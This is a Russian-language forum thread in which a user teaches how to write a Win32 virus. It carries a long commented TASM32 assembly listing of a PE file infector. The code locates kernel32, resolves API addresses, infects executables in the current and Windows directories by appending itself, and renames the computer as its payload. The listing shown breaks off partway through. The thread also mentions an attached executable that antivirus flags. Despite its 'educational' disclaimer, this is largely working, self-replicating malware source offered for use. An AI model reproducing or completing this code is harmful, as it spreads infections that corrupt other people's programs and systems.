IPB
ЛогинПароль:

> Пишем вирус..., Наконец написал.
сообщение
Сообщение #1


-
****

Группа: Пользователи
Сообщений: 480
Пол: Мужской

Репутация: -  4  +


Почти каждый, кто изучает язык ассемблера, рано или поздно пишет вирус, некоторые люди пишут вирус, когда заканчивают изучать какой-нибудь язык программирования... Прежде чем читать то, что я буду писать ниже и понимать хоть что-нибудь, вы должны:
а) знать основные команды ассемблера
б) уметь пользоватся АПИ-функциями
в) взять где-нибудь (можно и у меня) TASM32 (можно и другой, но каждый компилятор имеет свои особенности).
г) отладчик (если собираетесь собственноручно создать зверька, то без отладки довольно трудно найти ошибки)
д) прогу, которая прикреплена (на неё вопит касперский, но это не вирус!!!! )
е) иметь здоровую голову (если вы хотите испортить все компы на Земле, то ваше место в больнице, а не здесь)
ё) ПОМНИТЬ, ЧТО ЭТОТ МАТЕРИАЛ ПРЕДСТАВЛЕН ТОЛЬКО В ЦЕЛЯХ ОБУЧЕНИЯ, И ЗА ПОСЛЕДСТВИЯ Я НИКАКОЙ ОТВЕТСТВЕННОСТИ НЕ НЕСУ
Вроде всё.

Теперь план обучения:
1) формат заголовка файла РЕ
2) разбор основных полей заголовка РЕ
3) методика заражения
4) дельта-смещение.
5) поиск АПИ
6) разбор используемых АПИ
7) пишем код
8) Reserved smile.gif


Прикрепленные файлы
Прикрепленный файл  Pewrsec.exe ( 8.62 килобайт ) Кол-во скачиваний: 3


--------------------
бб
 Оффлайн  Профиль  PM 
 К началу страницы 
+ Ответить 
 
 Ответить  Открыть новую тему 
Ответов
сообщение
Сообщение #2


-
****

Группа: Пользователи
Сообщений: 480
Пол: Мужской

Репутация: -  4  +


Теперь пришло время писать код.

includelib import32.lib
extrn ExitProcess: near
extrn MessageBoxA: near
;нам нужны эти АПИ исключительно в первом поколении

.386
;модель проца (вирус будет запускаться на процессорах 80386 и выше)

.model flat
;плоская модель (позволяет использовать до 4гб памяти)

jumps
;не прыгаем за пределы

.data
	; тут данные. вернее их отсутствие, просто без этой секции компилятор не компилит
	dibilizm_dlya_tupogo_kompilyatora db 0
.code
start:
	call delta
	; начинаем код с поисков дельты
delta:
	sub dword ptr [esp], offset delta
	; адрес метки delta - адрес возврата - в стеке. esp - вершина стека и указывает на этот адрес.
	; Отнимаем от этого значения  смещение метки, которое она имеет в первом поколении
	
	xor  edx, edx		; в edx - 0 будем использовать при поиске кернела
	mov ebp, [esp]	; в ebp - дельту
	
R_SEH:
	mov  eax,fs:[edx]
	dec  edx

search32:
	cmp [eax], edx
	je check32
	mov  eax, [eax]
	jmp short search32
	
check32:
	mov  eax,[eax+4]
	xor ax,ax
searchMZ:
	cmp word ptr [eax],5A4Dh ; MZ
	je IsPe
	sub eax, 10000h
	jmp short searchMZ
	
IsPe:
	mov edx,[eax+3ch]
	cmp [eax+edx],4550h ; PE
	jne Exit
	; kernel found
	
get_export:
	mov esi, [eax+edx+78h]	; get export rva
	lea esi, [esi+eax+1ch]
	xchg eax, ebx		; in ebx kernelBase
	mov ecx, 3
loop_lodsd:
	lodsd
	add eax, ebx
	push eax
	dec cl
	jnz loop_lodsd
	
	lea edi, [ebp+offset GetWindowsDirectoryA_]
main_loop:
str_lenth:
	xor eax,eax
	mov esi,edi
s4et:
	scasb
	jnz  s4et
	mov edx, esi
	sub edi, esi
	mov esi, [esp+4]
	mov ecx, edi	; ecx=edi=length(string)
searchAPI:
	push esi
	mov edi, edx
	mov esi, [esi]
	push ecx
	add esi, ebx
	
	cld
	rep cmpsb
	
	pop ecx
	pop esi
	jz equal
	inc ax
	add esi, 4
	jmp searchAPI
	
equal:
	shl eax,1
	
	mov ecx, [esp]
	add ecx, eax
	mov ecx, [ecx]
	and ecx, 0ffffh
	shl ecx, 2
	
	mov eax, [esp+4*2]
	add eax, ecx
	mov eax, [eax]
	add eax, ebx
	mov [edi], eax
	
	cmp word ptr [edi+4], 0B0BAH
	je vse_naideno
	
	add edi, 4
	jmp main_loop	; это поиск адресов АПИ. Я уже это описал.
vse_naideno:
	mov byte ptr [ebp+numbofdirs], 1
	; кол-во директорий, которые заражаем после текущей
	
	lea edi, [ebp+offset szWindowsDirectory]
	push Some_pathes
	push edi
	call [ebp+_GetWindowsDirectoryA]
	; находим директорию, где "живёт" винда
	
FindFirsttttt:
	lea eax, [ebp+offset WFD32]
	push eax
	lea eax, [ebp+offset FN4Search]
	push eax
	
	call [ebp+_FindFirstFileA]
	; ищем первый файл в текущей директории
	inc eax
	jz nextdir
	dec eax
	; в случае провала у нас в еах -1 прибавляем 1 получаем 0.
	; Тогда ф-ия провалилась, тогда сработает jz nextdir и мы начнём
	; поиски в след. директории (в этом вирусе - в директории винды)
	; если же ф-ия успешна, то мы отнимаем 1, чтоб получить правильный хендл...
	
	mov [ebp+offset hFF], eax
	; и сохраняем его в переменной
	
	mov ecx, 5	; кол-во файлов для заражения
	push dword ptr [ebp+EIPs]
	; это одно из "шатких" мест кода. дело в том, что точка входа определяется
	; при заражении файла и записывается в файл в соответствующую переменную.
	; Для того, чтоб её записать в файл на месте переменной, её надо туда поместить,
	; что и делается при заражении файла, но это портит то значение, которое было
	; таким же образом забито в этом поколении. Поэтому мы должны его сохранить,
	; чтоб потом можно было его заюзать при передаче управления носителю
	
modifyIt:
	push ecx
	; в есх у нас счётчик. Так как мы будем работать с этим регистром,
	; то будем его сохранять в начале цикла и восстанавливать в конце
	jmp infection
	; "прыгаем" на процедуру заражения
infection_done:
	; сюда попадаем после заражения найденного файла
PLZNext:
	lea eax, [ebp+offset WFD32]
	push eax
	push dword ptr [ebp+offset hFF]
	call [ebp+_FindNextFileA]
	pop ecx	; восстанавливаем счётчик
	test eax, eax
	jz nextdir
	; если не находим ещё файл пробуем искать в директории винды
	dec cx
	jnz modifyIt
	; уменьшаем значения счётчика на 1 и если он не стал 0, то повторяем цикл.
	; Теперь предлагаю вам подобие алгоритма куска кода от FindFirsttttt по Exit
	; 1) ищем первый файл
	; 2) не нашли - шаг 6
	; 3) заражаем
	; 4) ищем следующий
	; 5) нашли - шаг 3
	; 6) след. директория
	; 7) если есть директория - шаг 1
	; 8) выход
Exit:
	pop dword ptr [ebp+EIPs]
	; сюда мы попадаем в случае провала или случае заражения достаточного кол-ва объектов
	call killfind
	; вызываем процедуру, которая закрывает хендл поиска, она расположена в хвосте виря
	
	lea edi, [ebp+offset NewComp]
	push edi
	call [ebp+_SetComputerNameA]
	; это наша "полезная нагрузка" (мы устанавливаем имя компьютера Win32.Instan)
	
	test ebp,ebp
	jz first_gen
	; это проверка на первое поколение. в первом поколении мы выводим сообщение и выходим,
	; а во втором надо возвратитьуправление носителю
	
	mov eax, 0666B0BAH
	org $-4
	EIPs dd 00401000h
	jmp eax
	; тут использован небольшой трюк... команда mov reg32, xxxxxxxxh имеет опкод
	; b8r xxxxxxxx, где xxxxxxxx - число, которое заносится в регистр. А теперь представьте,
	; что у нас в памяти на месте хххххххх стоит переменная. тогда в регистр будет попадать
	; значение этой переменной. у нас в проге вместо 0666B0BAH будет в регистре адрес точки
	; входа. Мы помещаем в еах старый адрес точки входа, после чего  работает jmp eax,
	; который совершает прыжок на адрес, который лежит в еах
	
infection:
	; начало работы с файлом (заражения) когда мы находимся здесь, у нас уже есть найденный файл
	lea eax, [ebp+offset FName]
	push dword ptr FAttrNorm
	push eax
	call [ebp + _SetFileAttributesA]
	; устанавливаем атрибуты файла (обычный файл, не системный, не скрытый)
	
	xor eax, eax
	push eax	; handle to file
	push eax	; flags and attributes
	push 00000003h	; how to create(OPEN_EXISTING)
	push eax	; security attr
	push 00000003h	; share mode
	push 0c0000000h	; access mode
	lea eax, [ebp+offset FName]
	push eax	; pointer to file name
	call [ebp+_CreateFileA]
	; открываем файл, если онсуществует
	
	mov dword ptr [ebp+hFO], eax
	; сохраняем хендл в переменной
	inc eax
	; если в регистре -1, то ...
	jz infection_done
	; ... ищем следующий файл (заражение этого провалилось)
	
	mov ecx, [ebp+FSizeL]
	; FSizeL - младшее слово длины файла (берём из WFD)
	xor ebx, ebx
	; обнуляем ebx. это нам нужно для работы кода
	; ecx - low size
crFM:
	mov eax, [ebp+hFO]
	xor edx, edx
	; edx=0, будем использовать для заталкивания в стек (это короче и быстрее, чем push 0)
	push edx	; name of object
	push ecx	; low size
	push edx	; high size
	push PAGE_READWRITE	; protect
	push edx	; security attr
	push eax	; handle to file to map
	call [ebp+_CreateFileMappingA] ; создаём мэппинг
	test eax, eax
	jz close_file			; в случае неудачи закрываем файл
	mov [ebp+hFM], eax	; в случае успеха сохраняем хендл
	
	xor edx,edx
MVF:
	push edx	; number bytes to map
	push edx	; offs low
	push edx	; offs high
	push SRW	; access mode
	push eax	; handle by crFM
	call [ebp+_MapViewOfFile]	; мэппируем файл в память
	
	test eax, eax
	jz zeroid	; если неудача, то закрываем всё, что закрывается и ищем след. файл
	mov [ebp+pFM], eax	; в случае успеха сохраняем хендл в переменную
	
	test ebx, ebx
	jnz dali_bude
	; итак, пришло время рассказать о великом значении регистра ebx в нашем коде.
	; он работает как флаг. когда его значение 0 - выполняется следующие проверки,
	; а также после отработки (ниже) процедуры close_FM мы закрываем файл и ищем
	; следующий. если же там другое значение, то мы перескакиваем проверки, а также
	; не закрываем файл после отработки close_FM. это связано с тем, что мэппинг
	; открывается 2 раза. один - для проверки, второй - для изменений (с увеличенной длиной)
	
	add eax,[eax+3Ch]
	; после отработки MapViewOfFile в еах лежит смещение на начало файла. по смещению 3Ch
	; лежит смещение на заголовок РЕ относительно начала файла, поэтому нам надо добавить
	; это число к еах, чтоб получить адрес заголовка
	cmp word ptr [eax], 'EP'
	; сравниваем сигнатуру
	jne UVF
	; если нам подсунули липу, то завершаем работу с этим файлом (ebx=0)
	
	cmp dword ptr [eax+44h], 'CPM '	;это метка зараженности.
	je UVF
	; если заражен файл, то его не трогаем, зачем его дважды заражать
	; (поэтому первое поколение тоже заражается, получается вирус на вирусе : )
	
	mov ecx, dword ptr [eax+3ch]
	; по смещению 3с заголовка лежит File Allignment будем его юзать для выравнивания
	; всего, что можно выровнять.
	mov [ebp+file_align], ecx	; чтоб его не потерять, фигачим его в переменную
	
	inc ebx	; делаем ebx != 0
	jmp UVF	; если ebx != 0 у нас закроется мэппинг, но файл не закроется и мы попадём на step1
step1:
	mov eax, vir_size	; в еах длина вируса
	call aligning	; выравниваем
al_done:
	mov ecx, [ebp+FSizeL]	; в есх длину файла
	add ecx, eax			; прибавляем выровненную длину выря
	jmp crFM
	; создаём мэппинг заново, только с новой длиной (длина у нас там передаётсячерез есх).
	; после этого, так как ebx <> 0 попадаем на метку dali_bude, но у нас уже файл увеличилс
	; на 800h байт (выровненная длина вируса)
dali_bude:
	push eax
	; так как мы перемэппили файл, в еах забился адрес начала файла. мы его в стек (ещё пригодится)
	add eax,[eax+3ch]	; теперь найдем заголовок
	push eax	; его адрес тоже в стек (удобная это штука)
	movzx ecx, word ptr [eax+6]
	; обнулим есх, занесём туда кол-во секций (адрес начала РЕ + 6)
	jmp last_sec_find
	; прыгаем на процедуру поиска последней секции

продолжение ниже

Сообщение отредактировано: volvo -


--------------------
бб
 Оффлайн  Профиль  PM 
 К началу страницы 
+ Ответить 

Сообщений в этой теме
FreeMan   Пишем вирус...   4.01.2005 14:23
FreeMan   1. Формат заголовка РЕ Заголовок - это структура,…   4.01.2005 14:25
FreeMan   2. Разбор основных полей РЕ заголовка. Итак, вы п…   4.01.2005 14:31
FreeMan   3. Методика заражения Пишу в виде алгоритма, хотя…   4.01.2005 14:33
FreeMan   4. Дельта смещение. При линковке программы происхо…   5.01.2005 14:17
FreeMan   3.1 В поисках дельты. Может вам показалось, что по…   5.01.2005 14:17
FreeMan   5) Поиск АПИ. Когда Винда загружает файл, она в ад…   5.01.2005 14:20
FreeMan   [b]5.1. Поиск адреса кернела Кернел висит в памяти…   5.01.2005 15:38
FreeMan   [b]5.2 Поиск АПИ... Теперь адрес кернела мы знаем…   5.01.2005 17:07
FreeMan   [b]6. Pазбор используемых АПИ Разбор сводится к ко…   7.01.2005 16:51
FreeMan   FindFirstFileA - ищет файл в текущей директории …   7.01.2005 17:13
FreeMan   FindNextFileA - ищет следующий файл hFindFile -…   7.01.2005 17:30
FreeMan   MapViewOfFile - помещает промэппированный файл в п…   7.01.2005 17:45
FreeMan   UnmapViewOfFile - полная противоположность MapView…   12.01.2005 21:37
FreeMan   [b]7. Пишем код В исполняемый файл добавляем код …   12.01.2005 21:38
FreeMan   То есть, для успешного заражения надо пофиксить ещ…   12.01.2005 21:41
FreeMan   [b]7.1 Пишем код Для разминки напишем прогу, котор…   12.01.2005 21:42
FreeMan   Кстати, вышел номер 29А... http://www.vx.netlux.or…   12.01.2005 22:03
FreeMan   Теперь пришло время писать код. includelib import…   14.01.2005 20:51
FreeMan   ls_found: ; сюда попадём после того, как найдена …   14.01.2005 20:52
Тоха   ЭТО КРУТО! Спасибо большое.   26.02.2009 17:09


 Ответить  Открыть новую тему 
1 чел. читают эту тему (гостей: 1, скрытых пользователей: 0)
Пользователей: 0

 



- Текстовая версия 14.04.2025 22:40
500Gb HDD, 6Gb RAM, 2 Cores, 7 EUR в месяц — такие хостинги правда бывают
Связь с администрацией: bu_gen в домене octagram.name